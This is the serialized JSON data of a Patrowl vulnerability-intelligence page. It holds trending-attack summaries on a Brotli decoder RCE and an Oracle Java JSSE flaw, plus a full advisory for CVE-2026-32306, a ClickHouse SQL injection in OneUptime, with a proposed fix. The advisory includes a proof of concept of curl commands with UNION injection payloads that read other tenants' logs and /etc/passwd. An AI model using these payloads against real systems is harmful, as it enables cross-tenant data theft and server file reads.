[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"landing-trending":3,"cve-CVE-2026-32306":30,"landing-articles":84},{"count":4,"next":5,"previous":6,"results":7},266,"http:\u002F\u002Fweb:8606\u002Fapi\u002Ftrending_attacks\u002F?page=2&page_size=3&sorted_by=-published_at",null,[8,17,20],{"id":9,"title":10,"summary":11,"published_at":12,"severity":13,"vendor":14,"products":15},265,"Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)","This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.","2026-10-24T10:37:22.192753Z",4,"google",[16],"brotli",{"id":4,"title":10,"summary":18,"published_at":12,"severity":13,"vendor":14,"products":19},"This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nTwo situations are possible. When the decoding is done by your own application or reverse proxy, identify the component and update it. If an update is not possible right away, reject requests with \"Content-Encoding: br\" at the reverse proxy or WAF.\r\n\r\nWhen the asset is hosted on a managed platform or behind a CDN (for example Platform.sh, Upsun or Fastly), the decoding may be done by the provider's edge router, in front of your application. You cannot patch it yourself, but this router handles all the traffic of your site. Ask your provider to confirm that its edge components are patched against CVE-2026-111497. Assets hosted on a managed platform or behind a CDN carry the tag \"paas: platform.sh\" or \"cdn: fastly\" in the asset view: for these assets, the Brotli decoding is done by the provider's edge router, in front of your application, and only the provider can patch it.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nContact your edge provider about the status of the pathing (Fastly \u002F Plateform.sh)\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.",[16],{"id":21,"title":22,"summary":23,"published_at":24,"severity":13,"vendor":25,"products":26},263,"Oracle Java SE JSSE - Improper Access Control & Unauthorized Data Access & Unauthorized Data Modification","Oracle Java SE is the Java runtime and development platform. Its JSSE (Java Secure Socket Extension) component provides TLS\u002FSSL for secure network communication. Oracle GraalVM is a JDK distribution based on the same platform.\r\n\r\nCVE-2026-91403\r\n\r\nA vulnerability in the JSSE component of Oracle Java SE, Oracle GraalVM for JDK and Oracle GraalVM Enterprise Edition can be exploited by an unauthenticated attacker with network access over multiple protocols. A successful attack can give unauthorized access to critical data and allow unauthorized creation, deletion or modification of data. It can also affect sandboxed Java Web Start applications and applets that run untrusted code. The record lists the weakness as CWE-284 (Improper Access Control) in the CISA ADP entry, while another database lists CWE-295. The record lists these affected versions:\r\n- Oracle Java SE: 8u511, 8u511-perf, 11.0.33, 17.0.21, 21.0.13, 25.0.5, 27.0.1.\r\n- Oracle GraalVM for JDK: 17.0.21, 21.0.13.\r\n- Oracle GraalVM Enterprise Edition: 21.3.20.\r\n\r\nOracle published an out-of-cycle Security Alert on October 21, 2026. One secondary source says the fix makes Java distrust eight compromised intermediate CA certificates shipped with the JDK. The Oracle-focused sources do not confirm this root cause, so check it against the Oracle advisory. CISA ADP SSVC data shows Exploitation: none, Automatable: yes, Technical Impact: total. The CVE is not in the CISA KEV catalog as of October 22, 2026, and its EPSS score is below 1%.","2026-10-23T14:12:32.871954Z","Oracle",[27,28,29],"Oracle Java SE","Oracle GraalVM Enterprise Edition","Oracle GraalVM for JDK",{"id":31,"cve_id":32,"euvd_id":33,"summary":34,"published":35,"cvss_data":36,"is_remote":47,"cwes":48,"cpes":50,"technologies":53,"references":56,"score":61,"epss_score":62,"epss_percentile":63,"is_kev":64,"cisa_kev_date_added":6,"cisa_kev_due_date":6,"cisa_ssvc":65,"attack_mappings":75,"exploits":82},11378,"CVE-2026-32306","EUVD-2026-11719"," OneUptime ClickHouse SQL Injection via Aggregate Query Parameters\n\n### Summary\n\nThe telemetry aggregation API accepts user-controlled `aggregationType`, `aggregateColumnName`, and `aggregationTimestampColumnName` parameters and interpolates them directly into ClickHouse SQL queries via the `.append()` method (documented as \"trusted SQL\"). There is no allowlist, no parameterized query binding, and no input validation. An authenticated user can inject arbitrary SQL into ClickHouse, enabling full database read (including telemetry data from all tenants), data modification, and potential remote code execution via ClickHouse table functions.\n\n### Details\n\n**Entry Point — `Common\u002FServer\u002FAPI\u002FBaseAnalyticsAPI.ts:88-98, 292-296`:**\n\nThe `POST \u002F{modelName}\u002Faggregate` route deserializes `aggregateBy` directly from the request body:\n\n```typescript\n\u002F\u002F BaseAnalyticsAPI.ts:292-296\nconst aggregateBy: AggregateBy\u003CTBaseModel> = JSONFunctions.deserialize(\n    req.body[\"aggregateBy\"]\n) as AggregateBy\u003CTBaseModel>;\n```\n\nNo schema validation is applied to `aggregateBy`. The object flows directly to the database service.\n\n**No Validation — `Common\u002FServer\u002FServices\u002FAnalyticsDatabaseService.ts:276-278`:**\n\n```typescript\n\u002F\u002F AnalyticsDatabaseService.ts:276-278\nif (aggregateBy.aggregationType) {\n    \u002F\u002F Only truthiness check — no allowlist\n}\n```\n\nThe `aggregationType` field is only checked for existence, never validated against an allowed set of values (e.g., `AVG`, `SUM`, `COUNT`).\n\n**Raw SQL Injection — `Common\u002FServer\u002FUtils\u002FAnalyticsDatabase\u002FStatementGenerator.ts:527`:**\n\n```typescript\n\u002F\u002F StatementGenerator.ts:527\nstatement.append(\n    `${aggregationType}(${aggregateColumnName}) as aggregationResult`\n);\n```\n\nThe `.append()` method on `Statement` (at `Statement.ts:149-151`) is documented as accepting **trusted SQL** and performs raw string concatenation:\n\n```typescript\n\u002F\u002F Statement.ts:149-151\npublic append(text: string): Statement {\n    this.query += text; \u002F\u002F Raw concatenation — \"trusted SQL\"\n    return this;\n}\n```\n\nSimilarly, `aggregationTimestampColumnName` is injected into GROUP BY clauses at `AnalyticsDatabaseService.ts:604-606`:\n\n```typescript\nstatement.append(\n    `toStartOfInterval(${aggregationTimestampColumnName}, ...)`\n);\n```\n\n**Attack flow:**\n1. Authenticated user sends `POST \u002Fapi\u002Flog\u002Faggregate` (or `\u002Fapi\u002Fspan\u002Faggregate`, `\u002Fapi\u002Fmetric\u002Faggregate`)\n2. Request body contains `aggregateBy.aggregationType` set to a SQL injection payload\n3. Payload passes truthiness check at line 276\n4. Payload is concatenated into SQL via `.append()` at line 527\n5. ClickHouse executes the injected SQL\n\n### PoC\n\n```bash\n# Step 1: Authenticate and get session token\nTOKEN=$(curl -s -X POST 'https:\u002F\u002FTARGET\u002Fidentity\u002Flogin' \\\n  -H 'Content-Type: application\u002Fjson' \\\n  -d '{\"email\":\"user@example.com\",\"password\":\"password123\"}' \\\n  | jq -r '.token')\n\n# Step 2: Extract data from ClickHouse system tables via UNION injection\ncurl -s -X POST 'https:\u002F\u002FTARGET\u002Fapi\u002Flog\u002Faggregate' \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H 'Content-Type: application\u002Fjson' \\\n  -H 'tenantid: PROJECT_ID' \\\n  -d '{\n    \"aggregateBy\": {\n      \"aggregationType\": \"COUNT) as aggregationResult FROM system.one UNION ALL SELECT name FROM system.tables WHERE database = '\\''oneuptime'\\'' --\",\n      \"aggregateColumnName\": \"serviceId\",\n      \"aggregationTimestampColumnName\": \"createdAt\"\n    },\n    \"query\": {}\n  }'\n\n# Step 3: Read telemetry data across all tenants\ncurl -s -X POST 'https:\u002F\u002FTARGET\u002Fapi\u002Flog\u002Faggregate' \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H 'Content-Type: application\u002Fjson' \\\n  -H 'tenantid: PROJECT_ID' \\\n  -d '{\n    \"aggregateBy\": {\n      \"aggregationType\": \"COUNT) as aggregationResult FROM system.one UNION ALL SELECT body FROM Log LIMIT 100 --\",\n      \"aggregateColumnName\": \"serviceId\",\n      \"aggregationTimestampColumnName\": \"createdAt\"\n    },\n    \"query\": {}\n  }'\n\n# Step 4: Read files via ClickHouse table functions (if enabled)\ncurl -s -X POST 'https:\u002F\u002FTARGET\u002Fapi\u002Flog\u002Faggregate' \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H 'Content-Type: application\u002Fjson' \\\n  -H 'tenantid: PROJECT_ID' \\\n  -d '{\n    \"aggregateBy\": {\n      \"aggregationType\": \"COUNT) as aggregationResult FROM system.one UNION ALL SELECT * FROM file('\\''\u002Fetc\u002Fpasswd'\\'') --\",\n      \"aggregateColumnName\": \"serviceId\",\n      \"aggregationTimestampColumnName\": \"createdAt\"\n    },\n    \"query\": {}\n  }'\n```\n\n```bash\n# Verify the vulnerability in source code:\n\n# 1. No allowlist for aggregationType:\ngrep -n 'aggregationType' Common\u002FServer\u002FServices\u002FAnalyticsDatabaseService.ts | head -5\n# Line 276: if (aggregateBy.aggregationType) { — truthiness only\n\n# 2. Raw SQL concatenation:\ngrep -n 'aggregationType.*aggregateColumnName' Common\u002FServer\u002FUtils\u002FAnalyticsDatabase\u002FStatementGenerator.ts\n# Line 527: `${aggregationType}(${aggregateColumnName}) as aggregationResult`\n\n# 3. .append() is raw concatenation:\ngrep -A3 'public append' Common\u002FServer\u002FUtils\u002FAnalyticsDatabase\u002FStatement.ts\n# this.query += text; — \"trusted SQL\"\n\n# 4. No validation at API layer:\ngrep -A5 'aggregateBy' Common\u002FServer\u002FAPI\u002FBaseAnalyticsAPI.ts | grep -c 'validate\\|sanitize\\|allowlist'\n# 0\n```\n\n### Impact\n\n**Full ClickHouse database compromise.** An authenticated user (any role) can:\n\n1. **Cross-tenant data theft** — Read telemetry data (logs, traces, metrics, exceptions) from ALL tenants\u002Fprojects in the ClickHouse database, not just their own\n2. **Data manipulation** — INSERT\u002FALTER\u002FDROP tables in ClickHouse, destroying telemetry data for all users\n3. **Server-side file read** — Via ClickHouse's `file()` table function (if not explicitly disabled), read arbitrary files from the ClickHouse container filesystem\n4. **Remote code execution** — Via ClickHouse's `url()` table function, make HTTP requests from the server (SSRF), or via `executable()` table function, execute OS commands\n5. **Credential theft** — ClickHouse default configuration (`default` user, password from env) could be leveraged to connect directly\n\nThe vulnerability requires only basic authentication (any registered user), making it exploitable at scale.\n\n### Proposed Fix\n\n```typescript\n\u002F\u002F 1. Add an allowlist for aggregationType in AnalyticsDatabaseService.ts:\nconst ALLOWED_AGGREGATION_TYPES = ['AVG', 'SUM', 'COUNT', 'MIN', 'MAX', 'UNIQ'];\n\nif (!ALLOWED_AGGREGATION_TYPES.includes(aggregateBy.aggregationType.toUpperCase())) {\n    throw new BadRequestException(\n        `Invalid aggregationType: ${aggregateBy.aggregationType}. ` +\n        `Allowed: ${ALLOWED_AGGREGATION_TYPES.join(', ')}`\n    );\n}\n\n\u002F\u002F 2. Validate aggregateColumnName against the model's known columns:\nconst modelColumns = model.getColumnNames(); \u002F\u002F or similar accessor\nif (!modelColumns.includes(aggregateBy.aggregateColumnName)) {\n    throw new BadRequestException(\n        `Invalid column: ${aggregateBy.aggregateColumnName}`\n    );\n}\n\n\u002F\u002F 3. Same for aggregationTimestampColumnName:\nif (aggregateBy.aggregationTimestampColumnName &&\n    !modelColumns.includes(aggregateBy.aggregationTimestampColumnName)) {\n    throw new BadRequestException(\n        `Invalid timestamp column: ${aggregateBy.aggregationTimestampColumnName}`\n    );\n}\n\n\u002F\u002F 4. Use parameterized queries where possible:\nstatement.append(`{aggregationType:Identifier}({columnName:Identifier}) as aggregationResult`);\nstatement.addParameter('aggregationType', aggregateBy.aggregationType);\nstatement.addParameter('columnName', aggregateBy.aggregateColumnName);\n```","2026-03-13T20:00:00Z",{"cvss_v3.1":37},{"scope":38,"version":39,"baseScore":40,"attackVector":41,"baseSeverity":42,"vectorString":43,"integrityImpact":44,"userInteraction":45,"attackComplexity":46,"availabilityImpact":44,"privilegesRequired":46,"confidentialityImpact":44},"CHANGED","3.1",9.9,"NETWORK","CRITICAL","CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:H\u002FI:H\u002FA:H","HIGH","NONE","LOW",true,[49],"CWE-89",[51,52],"cpe:2.3:a:hackerbay:oneuptime:*:*:*:*:*:*:*:*","cpe:2.3:a:oneuptime:oneuptime:*:*:*:*:*:*:*:*",[54,55],"Hackerbay Oneuptime","Oneuptime Oneuptime",[57,58,59,60],"https:\u002F\u002Fgithub.com\u002FOneUptime\u002Foneuptime\u002Fsecurity\u002Fadvisories\u002FGHSA-p5g2-jm85-8g35","https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2026-32306","https:\u002F\u002Fgithub.com\u002FOneUptime\u002Foneuptime","https:\u002F\u002Fgithub.com\u002FOneUptime\u002Foneuptime\u002Freleases\u002Ftag\u002F10.0.23",0.85,0.00659,0.51242,false,{"timestamp":66,"automatable":67,"tech_impact":68,"exploitation":69,"cisa_decision":70,"cisa_remediation_timeline":74},"2026-03-14T03:42:10.455865Z","no","total","poc",{"vector":71,"decision":72,"priority":73},"CISAv1\u002FE:P\u002FA:N\u002FT:T\u002FM:H\u002F2026-10-26T08:04:04.643532\u002F","attend","medium","14D",[76],{"name":77,"source":78,"tactics":79,"technique_id":81},"Exploit Public-Facing Application","attack_vector",[80],"initial-access","T1190",[83],{"link":57},{"count":85,"next":86,"previous":6,"results":87},26,"http:\u002F\u002Fweb:8606\u002Fapi\u002Farticles\u002F?page=2&page_size=3&sorted_by=-published_at",[88,96,104],{"id":89,"title":90,"summary":91,"published_at":92,"type":93,"link":94,"image_url":95},30,"PHP2Shell: Two Critical RCE Flaws in PHP (CVSS 9.2)","Unauthenticated code execution demonstrated on WordPress, Drupal and Joomla, and reproduced in our lab. Patched versions and steps to take today.","2026-10-22T00:00:00Z","cve","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002Fc0615c4ee6-1792684469\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2.png",{"id":97,"title":98,"summary":99,"published_at":100,"type":101,"link":102,"image_url":103},29,"Manage External Security Across All Your Entities","Centralize the management of entities, users and external security resources while maintaining strict data isolation with Patrowl.","2026-09-15T00:00:00Z","security tips","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fmulti-entity-external-security-how-structure-governance-group-level","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F8b2c0cc5eb-1789551467\u002Fvisu_1_multi_tenancy_dark_1x.webp",{"id":105,"title":106,"summary":107,"published_at":108,"type":109,"link":110,"image_url":111},28,"Will AI Become the Next Hacker? Bruce Schneier Answers at DEF CON 34","Tax law, finance, legislation: Bruce Schneier shows how AI could hack human rule systems just as easily as it hacks software.","2026-09-14T00:00:00Z","hacks","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fbruce-schneier-def-con-34","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F5c616d9db4-1789462598\u002Fai-hacker.en.png"]